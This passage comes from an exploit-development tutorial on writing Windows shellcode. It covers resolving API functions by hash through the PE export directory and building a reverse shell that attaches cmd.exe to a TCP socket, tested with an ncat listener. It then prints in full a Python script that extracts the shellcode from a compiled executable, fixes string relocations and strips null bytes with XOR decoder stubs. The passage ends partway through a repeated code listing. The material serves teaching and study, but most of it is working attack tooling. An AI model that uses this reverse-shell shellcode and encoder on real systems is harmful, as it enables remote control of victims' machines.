contains an array called <span style="color: #00ff00;">DataDirectory</span> which points to various “directories” of the PE module. We are interested in the <span style="color: #00ccff;">Export Directory</span>.<br> The C structure associated with the Export Directory is defined as follows:</p>
<pre><code class="language-cpp">typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
</code></pre>
<p>The field <span style="color: #00ff00;">Name</span> is a RVA to a string containing the name of the module. Then there are 5 important fields:</p><ul><li><span style="color: #00ff00;">NumberOfFunctions</span>:<br> number of elements in AddressOfFunctions.</li><li><span style="color: #00ff00;">NumberOfNames</span>:<br> number of elements in AddressOfNames.</li><li><span style="color: #00ff00;">AddressOfFunctions</span>:<br> RVA to an array of RVAs (DWORDs) to the entrypoints of the exported functions.</li><li><span style="color: #00ff00;">AddressOfNames</span>:<br> RVA to an array of RVAs (DWORDs) to the names of the exported functions.</li><li><span style="color: #00ff00;">AddressOfNameOrdinals</span>:<br> RVA to an array of ordinals (WORDs) associated with the exported functions.</li></ul><p>As the comments in the C/C++ code say, the arrays pointed to by <span style="color: #00ff00;">AddressOfNames</span> and <span style="color: #00ff00;">AddressOfNameOrdinals</span> run in parallel:<br>
<a href="images/pic_a0b.png"><img src="images/pic_a0b.png" alt="pic_a0b" width="981" height="257"></a>
<br> While the first two arrays run in parallel, the third doesn’t and the ordinals taken from <span style="color: #00ff00;">AddressOfNameOrdinals</span> are indices in the array <span style="color: #00ff00;">AddressOfFunctions</span>.</p><p>So the idea is to first find the right name in <span style="color: #00ff00;">AddressOfNames</span>, then get the corresponding ordinal in <span style="color: #00ff00;">AddressOfNameOrdinals</span> (at the same position) and finally use the ordinal as index in <span style="color: #00ff00;">AddressOfFunctions</span> to get the RVA of the corresponding exported function.</p><h3>DefineFuncPtr</h3><p><span style="color: #00ff00;">DefineFuncPtr</span> is a handy macro which helps define a pointer to an imported function. Here’s an example:</p>
<pre><code class="language-cpp">#define HASH_WSAStartup 0x2ddcd540
#define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
DefineFuncPtr(WSAStartup);
</code></pre>
<p><span style="color: #00ff00;">WSAStartup</span> is a function imported from <span style="color: #00ff00;">ws2_32.dll</span>, so <span style="color: #00ff00;">HASH_WSAStartup</span> is computed this way:</p>
<pre><code class="language-cpp">DWORD hash = getFunctionHash("ws2_32.dll", "WSAStartup");
</code></pre>
<p>When the macro is expanded,</p>
<pre><code class="language-cpp">DefineFuncPtr(WSAStartup);
</code></pre>
<p>becomes</p>
<pre><code class="language-cpp">decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup)
</code></pre>
<p>where <span style="color: #00ff00;">decltype(WSAStartup)</span> is the type of the function <span style="color: #00ff00;">WSAStartup</span>. This way we don’t need to redefine the function prototype. Note that <span style="color: #00ff00;">decltype</span> was introduced in C++11.</p><p>Now we can call <span style="color: #00ff00;">WSAStartup</span> through <span style="color: #00ff00;">My_WSAStartup</span> and intellisense will work perfectly.</p><p>Note that before importing a function from a module, we need to make sure that that module is already loaded in memory. While <span style="color: #00ff00;">kernel32.dll</span> and <span style="color: #00ff00;">ntdll.dll</span> are always present (lucky for us), we can’t assume that other modules are. The easiest way to load a module is to use <span style="color: #00ff00;">LoadLibrary</span>:</p>
<pre><code class="language-cpp"> DefineFuncPtr(LoadLibraryA);
My_LoadLibraryA("ws2_32.dll");
</code></pre>
<p>This works because <span style="color: #00ff00;">LoadLibrary</span> is imported from <span style="color: #00ff00;">kernel32.dll</span> that, as we said, is always present in memory.</p><p>We could also import <span style="color: #00ff00;">GetProcAddress</span> and use it to get the address of all the other function we need, but that would be wasteful because we would need to include the full names of the functions in the shellcode.</p><h3>entryPoint</h3><p><span style="color: #00ff00;">entryPoint</span> is obviously the entry point of our shellcode and implements the reverse shell. First, we import all the functions we need and then we use them. The details are not important and I must say that the winsock API are very cumbersome to use.</p><p>In a nutshell:</p><ol><li>we create a socket,</li><li>connect the socket to 127.0.0.1:123,</li><li>create a process by executing cmd.exe,</li><li>attach the socket to the standard input, output and error of the process,</li><li>wait for the process to terminate,</li><li>when the process has ended, we terminate the current thread.</li></ol><p>Point 3 and 4 are performed at the same time with a call to CreateProcess. Thanks to 4), the attacker can listen on port 123 for a connection and then, once connected, can interact with cmd.exe running on the remote machine through the socket, i.e. the TCP connection.</p><p>To try this out, install ncat (<a href="http://nmap.org/ncat/">download</a>), run cmd.exe and at the prompt enter</p><pre class="ignore:true">ncat -lvp 123</pre><p>This will start listening on port 123.<br> Then, back in Visual Studio 2013, select <span style="color: #00ff00;">Release</span>, build the project and run it.</p><p>Go back to ncat and you should see something like the following:</p><pre class="ignore:true">Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm>ncat -lvp 123
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::123
Ncat: Listening on 0.0.0.0:123
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:4409.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode></pre><p>Now you can type whatever command you want. To exit, type <span style="color: #00ff00;">exit</span>.</p><h3>main</h3><p>Thanks to the linker option</p><p style="padding-left: 30px;"><span style="color: #00ff00;">Function Order</span>: function_order.txt</p><p>where the first and only line of function_order.txt is <span style="color: #00ff00;">?entryPoint@@YAHXZ</span>, the function <span style="color: #00ff00;">entryPoint</span> will be positioned first in our shellcode. This is what we want.</p><p>It seems that the linker honors the order of the functions in the source code, so we could have put <span style="color: #00ff00;">entryPoint</span> before any other function, but I didn’t want to mess things up. The main function comes last in the source code so it’s linked at the end of our shellcode. This allows us to tell where the shellcode ends. We’ll see how in a moment when we talk about the map file.</p><h2>Python script</h2><h3>Introduction</h3><p>Now that the executable containing our shellcode is ready, we need a way to extract and fix the shellcode. This won’t be easy. I wrote a Python script that</p><ol><li>extracts the shellcode</li><li>handles the relocations for the strings</li><li>fixes the shellcode by removing null bytes</li></ol><p>By the way, you can use whatever you like, but I like and use <span style="color: #00ccff;">PyCharm</span> (<a href="https://www.jetbrains.com/pycharm/">download</a>).</p><p>The script weighs only 392 LOC, but it’s a little tricky so I’ll explain it in detail.</p><p>Here’s the <a href="code/extractor.py">code</a>:</p>
<pre><code class="language-python"># Shellcode extractor by Massimiliano Tomassoli (2015)
import sys
import os
import datetime
import pefile
author = 'Massimiliano Tomassoli'
year = datetime.date.today().year
def dword_to_bytes(value):
return [value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, (value >> 24) & 0xff]
def bytes_to_dword(bytes):
return (bytes[0] & 0xff) | ((bytes[1] & 0xff) << 8) | \
((bytes[2] & 0xff) << 16) | ((bytes[3] & 0xff) << 24)
def get_cstring(data, offset):
'''
Extracts a C string (i.e. null-terminated string) from data starting from offset.
'''
pos = data.find('\0', offset)
if pos == -1:
return None
return data[offset:pos+1]
def get_shellcode_len(map_file):
'''
Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
'''
try:
with open(map_file, 'r') as f:
lib_object = None
shellcode_len = None
for line in f:
parts = line.split()
if lib_object is not None:
if parts[-1] == lib_object:
raise Exception('_main is not the last function of %s' % lib_object)
else:
break
elif (len(parts) > 2 and parts[1] == '_main'):
# Format:
# 0001:00000274 _main 00401274 f shellcode.obj
shellcode_len = int(parts[0].split(':')[1], 16)
lib_object = parts[-1]
if shellcode_len is None:
raise Exception('Cannot determine shellcode length')
except IOError:
print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
return None
except Exception as e:
print('[!] get_shellcode_len: %s' % e.message)
return None
return shellcode_len
def get_shellcode_and_relocs(exe_file, shellcode_len):
'''
Extracts the shellcode from the .text section of the file exe_file and the string
relocations.
Returns the triple (shellcode, relocs, addr_to_strings).
'''
try:
# Extracts the shellcode.
pe = pefile.PE(exe_file)
shellcode = None
rdata = None
for s in pe.sections:
if s.Name == '.text\0\0\0':
if s.SizeOfRawData < shellcode_len:
raise Exception('.text section too small')
shellcode_start = s.VirtualAddress
shellcode_end = shellcode_start + shellcode_len
shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
elif s.Name == '.rdata\0\0':
rdata_start = s.VirtualAddress
rdata_end = rdata_start + s.Misc_VirtualSize
rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
if shellcode is None:
raise Exception('.text section not found')
if rdata is None:
raise Exception('.rdata section not found')
# Extracts the relocations for the shellcode and the referenced strings in .rdata.
relocs = []
addr_to_strings = {}
for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
for entry in rel_data.entries[:-1]: # the last element's rvs is the base_rva (why?)
if shellcode_start <= entry.rva < shellcode_end:
# The relocation location is inside the shellcode.
relocs.append(entry.rva - shellcode_start) # offset relative to the start of shellcode
string_va = pe.get_dword_at_rva(entry.rva)
string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
if string_rva < rdata_start or string_rva >= rdata_end:
raise Exception('shellcode references a section other than .rdata')
str = get_cstring(rdata, string_rva - rdata_start)
if str is None:
raise Exception('Cannot extract string from .rdata')
addr_to_strings[string_va] = str
return (shellcode, relocs, addr_to_strings)
except WindowsError:
print('[!] get_shellcode: Cannot open "%s"' % exe_file)
return None
except Exception as e:
print('[!] get_shellcode: %s' % e.message)
return None
def dword_to_string(dword):
return ''.join([chr(x) for x in dword_to_bytes(dword)])
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
if len(relocs) == 0:
return shellcode # there are no relocations
# The format of the new shellcode is:
# call here
# here:
# ...
# shellcode_start:
# <shellcode> (contains offsets to strX (offset are from "here" label))
# relocs:
# off1|off2|... (offsets to relocations (offset are from "here" label))
# str1|str2|...
delta = 21 # shellcode_start - here
# Builds the first part (up to and not including the shellcode).
x = dword_to_bytes(delta + len(shellcode))
y = dword_to_bytes(len(relocs))
code = [
0xE8, 0x00, 0x00, 0x00, 0x00, # CALL here
# here:
0x5E, # POP ESI
0x8B, 0xFE, # MOV EDI, ESI
0x81, 0xC6, x[0], x[1], x[2], x[3], # ADD ESI, shellcode_start + len(shellcode) - here
0xB9, y[0], y[1], y[2], y[3], # MOV ECX, len(relocs)
0xFC, # CLD
# again:
0xAD, # LODSD
0x01, 0x3C, 0x07, # ADD [EDI+EAX], EDI
0xE2, 0xFA # LOOP again
# shellcode_start:
]
# Builds the final part (offX and strX).
offset = delta + len(shellcode) + len(relocs) * 4 # offset from "here" label
final_part = [dword_to_string(r + delta) for r in relocs]
addr_to_offset = {}
for addr in addr_to_strings.keys():
str = addr_to_strings[addr]
final_part.append(str)
addr_to_offset[addr] = offset
offset += len(str)
# Fixes the shellcode so that the pointers referenced by relocs point to the
# string in the final part.
byte_shellcode = [ord(c) for c in shellcode]
for off in relocs:
addr = bytes_to_dword(byte_shellcode[off:off+4])
byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
def dump_shellcode(shellcode):
'''
Prints shellcode in C format ('\x12\x23...')
'''
shellcode_len = len(shellcode)
sc_array = []
bytes_per_row = 16
for i in range(shellcode_len):
pos = i % bytes_per_row
str = ''
if pos == 0:
str += '"'
str += '\\x%02x' % ord(shellcode[i])
if i == shellcode_len - 1:
str += '";\n'
elif pos == bytes_per_row - 1:
str += '"\n'
sc_array.append(str)
shellcode_str = ''.join(sc_array)
print(shellcode_str)
def get_xor_values(value):
'''
Finds x and y such that:
1) x xor y == value
2) x and y doesn't contain null bytes
Returns x and y as arrays of bytes starting from the lowest significant byte.
'''
# Finds a non-null missing bytes.
bytes = dword_to_bytes(value)
missing_byte = [b for b in range(1, 256) if b not in bytes][0]
xor1 = [b ^ missing_byte for b in bytes]
xor2 = [missing_byte] * 4
return (xor1, xor2)
def get_fixed_shellcode_single_block(shellcode):
'''
Returns a version of shellcode without null bytes or None if the
shellcode can't be fixed.
If this function fails, use get_fixed_shellcode().
'''
# Finds one non-null byte not present, if any.
bytes = set([ord(c) for c in shellcode])
missing_bytes = [b for b in range(1, 256) if b not in bytes]
if len(missing_bytes) == 0:
return None # shellcode can't be fixed
missing_byte = missing_bytes[0]
(xor1, xor2) = get_xor_values(len(shellcode))
code = [
0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4
# here:
0xC0, # (FF)C0 = INC EAX
0x5F, # POP EDI
0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len>
0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len>
0x83, 0xC7, 29, # ADD EDI, shellcode_begin - here
0x33, 0xF6, # XOR ESI, ESI
0xFC, # CLD
# loop1:
0x8A, 0x07, # MOV AL, BYTE PTR [EDI]
0x3C, missing_byte, # CMP AL, <missing byte>
0x0F, 0x44, 0xC6, # CMOVE EAX, ESI
0xAA, # STOSB
0xE2, 0xF6 # LOOP loop1
# shellcode_begin:
]
return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
def get_fixed_shellcode(shellcode):
'''
Returns a version of shellcode without null bytes. This version divides
the shellcode into multiple blocks and should be used only if
get_fixed_shellcode_single_block() doesn't work with this shellcode.
'''
# The format of bytes_blocks is
# [missing_byte1, number_of_blocks1,
# missing_byte2, number_of_blocks2, ...]
# where missing_byteX is the value used to overwrite the null bytes in the
# shellcode, while number_of_blocksX is the number of 254-byte blocks where
# to use the corresponding missing_byteX.
bytes_blocks = []
shellcode_len = len(shellcode)
i = 0
while i < shellcode_len:
num_blocks = 0
missing_bytes = list(range(1, 256))
# Tries to find as many 254-byte contiguous blocks as possible which misses at
# least one non-null value. Note that a single 254-byte block always misses at
# least one non-null value.
while True:
if i >= shellcode_len or num_blocks == 255:
bytes_blocks += [missing_bytes[0], num_blocks]
break
bytes = set([ord(c) for c in shellcode[i:i+254]])
new_missing_bytes = [b for b in missing_bytes if b not in bytes]
if len(new_missing_bytes) != 0: # new block added
missing_bytes = new_missing_bytes
num_blocks += 1
i += 254
else:
bytes += [missing_bytes[0], num_blocks]
break
if len(bytes_blocks) > 0x7f - 5:
# Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
return None
(xor1, xor2) = get_xor_values(len(shellcode))
code = ([
0xEB, len(bytes_blocks)] + # JMP SHORT skip_bytes
# bytes:
bytes_blocks + [ # ...
# skip_bytes:
0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4
# here:
0xC0, # (FF)C0 = INC EAX
0x5F, # POP EDI
0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len>
0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len>
0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)]
0x83, 0xC7, 0x30, # ADD EDI, shellcode_begin - here
# loop1:
0xB0, 0xFE, # MOV AL, 0FEh
0xF6, 0x63, 0x01, # MUL AL, BYTE PTR [EBX+1]
0x0F, 0xB7, 0xD0, # MOVZX EDX, AX
0x33, 0xF6, # XOR ESI, ESI
0xFC, # CLD
# loop2:
0x8A, 0x07, # MOV AL, BYTE PTR [EDI]
0x3A, 0x03, # CMP AL, BYTE PTR [EBX]
0x0F, 0x44, 0xC6, # CMOVE EAX, ESI
0xAA, # STOSB
0x49, # DEC ECX
0x74, 0x07, # JE shellcode_begin
0x4A, # DEC EDX
0x75, 0xF2, # JNE loop2
0x43, # INC EBX
0x43, # INC EBX
0xEB, 0xE3 # JMP loop1
# shellcode_begin:
])
new_shellcode_pieces = []
pos = 0
for i in range(len(bytes_blocks) / 2):
missing_char = chr(bytes_blocks[i*2])
num_bytes = 254 * bytes_blocks[i*2 + 1]
new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('\0', missing_char))
pos += num_bytes
return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces)
def main():
print("Shellcode Extractor by %s (%d)\n" % (author, year))
if len(sys.argv) != 3:
print('Usage:\n' +
' %s <exe file> <map file>\n' % os.path.basename(sys.argv[0]))
return
exe_file = sys.argv[1]
map_file = sys.argv[2]
print('Extracting shellcode length from "%s"...' % os.path.basename(map_file))
shellcode_len = get_shellcode_len(map_file)
if shellcode_len is None:
return
print('shellcode length: %d' % shellcode_len)
print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file))
result = get_shellcode_and_relocs(exe_file, shellcode_len)
if result is None:
return
(shellcode, relocs, addr_to_strings) = result
if len(relocs) != 0:
print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
print('Strings:')
for s in addr_to_strings.values():
print(' ' + s[:-1])
print('')
shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
else:
print('No relocations found')
if shellcode.find('\0') == -1:
print('Unbelievable: the shellcode does not need to be fixed!')
fixed_shellcode = shellcode
else:
# shellcode contains null bytes and needs to be fixed.
print('Fixing the shellcode...')
fixed_shellcode = get_fixed_shellcode_single_block(shellcode)
if fixed_shellcode is None: # if shellcode wasn't fixed...
fixed_shellcode = get_fixed_shellcode(shellcode)
if fixed_shellcode is None:
print('[!] Cannot fix the shellcode')
print('final shellcode length: %d\n' % len(fixed_shellcode))
print('char shellcode[] = ')
dump_shellcode(fixed_shellcode)
main()
</code></pre>
<p></p><h3>Map file and shellcode length</h3><p>We told the linker to produce a map file with the following options:</p><ul><li><span style="color: #00ff00;">Debugging</span>:<ul><li><span style="color: #00ff00;">Generate Map File</span>: Yes (/MAP)<br> Tells the linker to generate a map file containing the structure of the EXE)</li><li><span style="color: #00ff00;">Map File Name</span>: mapfile</li></ul></li></ul><p>The map file is important to determine the shellcode length.</p><p>Here’s the relevant part of the map file:</p><pre class="ignore:true">shellcode
Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)
Preferred load address is 00400000
Start Length Name Class
0001:00000000 00000a9cH .text$mn CODE
0002:00000000 00000094H .idata$5 DATA
0002:00000094 00000004H .CRT$XCA DATA
0002:00000098 00000004H .CRT$XCAA DATA
0002:0000009c 00000004H .CRT$XCZ DATA
0002:000000a0 00000004H .CRT$XIA DATA
0002:000000a4 00000004H .CRT$XIAA DATA
0002:000000a8 00000004H .CRT$XIC DATA
0002:000000ac 00000004H .CRT$XIY DATA
0002:000000b0 00000004H .CRT$XIZ DATA
0002:000000c0 000000a8H .rdata DATA
0002:00000168 00000084H .rdata$debug DATA
0002:000001f0 00000004H .rdata$sxdata DATA
0002:000001f4 00000004H .rtc$IAA DATA
0002:000001f8 00000004H .rtc$IZZ DATA
0002:000001fc 00000004H .rtc$TAA DATA
0002:00000200 00000004H .rtc$TZZ DATA
0002:00000208 0000005cH .xdata$x DATA
0002:00000264 00000000H .edata DATA
0002:00000264 00000028H .idata$2 DATA
0002:0000028c 00000014H .idata$3 DATA
0002:000002a0 00000094H .idata$4 DATA
0002:00000334 0000027eH .idata$6 DATA
0003:00000000 00000020H .data DATA
0003:00000020 00000364H .bss DATA
0004:00000000 00000058H .rsrc$01 DATA
0004:00000060 00000180H .rsrc$02 DATA
Address Publics by Value Rva+Base Lib:Object
0000:00000000 ___guard_fids_table 00000000 <absolute>
0000:00000000 ___guard_fids_count 00000000 <absolute>
0000:00000000 ___guard_flags 00000000 <absolute>
0000:00000001 ___safe_se_handler_count 00000001 <absolute>
0000:00000000 ___ImageBase 00400000 <linker-defined>
0001:00000000 ?entryPoint@@YAHXZ 00401000 f shellcode.obj
0001:000001a1 ?getHash@@YAKPBD@Z 004011a1 f shellcode.obj
0001:000001be ?getProcAddrByHash@@YAPAXK@Z 004011be f shellcode.obj
0001:00000266 _main 00401266 f shellcode.obj
0001:000004d4 _mainCRTStartup 004014d4 f MSVCRT:crtexe.obj
0001:000004de ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f MSVCRT:unhandld.obj
0001:0000051f ___CxxSetUnhandledExceptionFilter 0040151f f MSVCRT:unhandld.obj
0001:0000052e __XcptFilter 0040152e f MSVCRT:MSVCR120.dll
<span style="color: #00ff00;"><snip></span></pre><p>The start of the map file tells us that section 1 is the .text section, which contains the code:</p><pre class="ignore:true">Start Length Name Class
0001:00000000 00000a9cH .text$mn CODE</pre><p>The second part tells us that the <span style="color: #00ff00;">.text</span> section starts with <span style="color: #00ff00;">?entryPoint@@YAHXZ</span>, our <span style="color: #00ff00;">entryPoint</span> function, and that main (here called <span style="color: #00ff00;">_main</span>) is the last of our functions. Since <span style="color: #00ff00;">main</span> is at offset 0x266 and <span style="color: #00ff00;">entryPoint</span> is at 0, our shellcode starts at the beginning of the .text section and is 0x266 bytes long.</p><p>Here’s how we do it in Python:</p>
<pre><code class="language-python">def get_shellcode_len(map_file):
'''
Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
'''
try:
with open(map_file, 'r') as f:
lib_object = None
shellcode_len = None
for line in f:
parts = line.split()
if lib_object is not None:
if parts[-1] == lib_object:
raise Exception('_main is not the last function of %s' % lib_object)
else:
break
elif (len(parts) > 2 and parts[1] == '_main'):
# Format:
# 0001:00000274 _main 00401274 f shellcode.obj
shellcode_len = int(parts[0].split(':')[1], 16)
lib_object = parts[-1]
if shellcode_len is None:
raise Exception('Cannot determine shellcode length')
except IOError:
print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
return None
except Exception as e:
print('[!] get_shellcode_len: %s' % e.message)
return None
return shellcode_len
</code></pre>
<p></p><h3>extracting the shellcode</h3><p>This part is very easy. We know the shellcode length and that the shellcode is located at the beginning of the <span style="color: #00ff00;">.text</span> section. Here’s the code:</p>
<pre><code class="language-python">def get_shellcode_and_relocs(exe_file, shellcode_len):
'''
Extracts the shellcode from the .text section of the file exe_file and the string
relocations.
Returns the triple (shellcode, relocs, addr_to_strings).
'''
try:
# Extracts the shellcode.
pe = pefile.PE(exe_file)
shellcode = None
rdata = None
for s in pe.sections:
if s.Name == '.text\0\0\0':
if s.SizeOfRawData < shellcode_len:
raise Exception('.text section too small')
shellcode_start = s.VirtualAddress
shellcode_end = shellcode_start + shellcode_len
shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
elif s.Name == '.rdata\0\0':